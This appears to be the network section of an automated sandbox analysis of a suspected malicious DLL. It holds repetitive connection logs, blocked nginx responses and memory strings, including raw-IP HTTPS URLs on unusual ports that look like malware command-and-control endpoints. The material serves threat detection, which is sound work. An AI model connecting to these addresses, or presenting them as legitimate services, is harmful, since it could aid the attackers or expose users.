Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:03:46 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:03:49 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:03:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:03:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:03:57 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:03:57 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:00 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:01 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:05 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:06 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:09 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:10 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:13 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:14 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:17 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:18 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:21 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:22 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:25 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:26 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:29 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:30 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:33 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:34 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:37 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:38 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:41 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:42 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:44 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:46 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:48 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:49 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:52 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:58 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:04:59 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:01 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:03 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:05 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:06 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:09 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:10 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:15 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:16 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:18 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:19 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:22 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:23 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:26 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:27 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:30 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:31 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:35 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:36 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:39 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:40 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:43 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:44 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:47 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:48 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:51 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:52 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:55 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:55 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:59 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:05:59 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:02 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:03 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:08 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:08 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:12 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:12 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:16 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:16 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:20 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:20 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:23 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:24 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:27 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:28 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:31 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:32 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:35 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:35 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:39 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:06:39 GMTContent-Type: text/plain; charset=utf-8Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96

Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: rundll32.exe, 00000004.00000003.454870700.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.454870700.00000000033DB000.00000004.00000001.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000004.00000003.453106675.0000000005465000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?24307bc719346
Source: rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/j
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/r
Source: rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/
Source: loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/%
Source: rundll32.exe, 00000004.00000003.740452821.00000000033D7000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/(
Source: loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/.140.214:808/
Source: rundll32.exe, 00000004.00000003.479096259.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/C~g
Source: loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/Ht_
Source: loaddll32.exe, 00000000.00000003.491330486.00000000011B8000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/Kqfu(
Source: rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/My
Source: rundll32.exe, 00000004.00000003.454870700.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/N
Source: loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/P
Source: loaddll32.exe, 00000000.00000003.749472778.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.547291056.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.719411339.000000000114E000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.637891796.00000000033D7000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/hy
Source: loaddll32.exe, 00000000.00000003.543841202.0000000001156000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/l
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000002.825892438.0000000001143000.00000004.00000020.sdmp	String found in binary or memory: https://143.244.140.214:808/oft
Source: loaddll32.exe, 00000000.00000003.583912455.000000000114E000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.F
Source: loaddll32.exe, 00000000.00000003.480245456.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://18185.56.219.47:8116/~
Source: loaddll32.exe, 00000000.00000003.608201796.000000000114A000.00000004.00000001.sdmp	String found in binary or memory: https://1845.77.0.96:6891/
Source: rundll32.exe, 00000004.00000002.855490130.0000000005463000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/m
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.785545934.000000000114D000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.690151454.0000000003440000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/
Source: rundll32.exe, 00000004.00000003.715591427.0000000003441000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/.
Source: loaddll32.exe, 00000000.00000003.603741779.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/0
Source: loaddll32.exe, 00000000.00000003.547291056.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/4
Source: loaddll32.exe, 00000000.00000003.583912455.000000000114E000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/4.140.214:808/hy
Source: loaddll32.exe, 00000000.00000003.583912455.000000000114E000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/B
Source: rundll32.exe, 00000004.00000003.601489285.00000000033D7000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/D
Source: loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.768805563.00000000033D7000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.462417469.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/ES
Source: loaddll32.exe, 00000000.00000003.819035845.0000000001150000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.740542417.000000000339C000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/Ps%
Source: rundll32.exe, 00000004.00000003.548484641.00000000033D7000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/h:
Source: loaddll32.exe, 00000000.00000003.692427615.000000000114C000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.690151454.0000000003440000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/l
Source: rundll32.exe, 00000004.00000003.690151454.0000000003440000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/ll
Source: rundll32.exe, 00000004.00000003.690111757.00000000033D7000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/oft
Source: loaddll32.exe, 00000000.00000003.749472778.0000000001150000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.505189315.0000000001151000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.543841202.0000000001156000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.692427615.000000000114C000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.506581152.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/soft
Source: rundll32.exe, 00000004.00000003.690151454.0000000003440000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/v
Source: rundll32.exe, 00000004.00000003.479096259.00000000033DB000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/wsupdate.com.edgesuite.nettm
Source: loaddll32.exe, 00000000.00000003.491368237.0000000001150000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/x
Source: loaddll32.exe, 00000000.00000003.806756501.000000000114F000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.508875492.00000000033DB000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.670962409.0000000003440000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/
Source: loaddll32.exe, 00000000.00000003.802350875.000000000114C000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/#
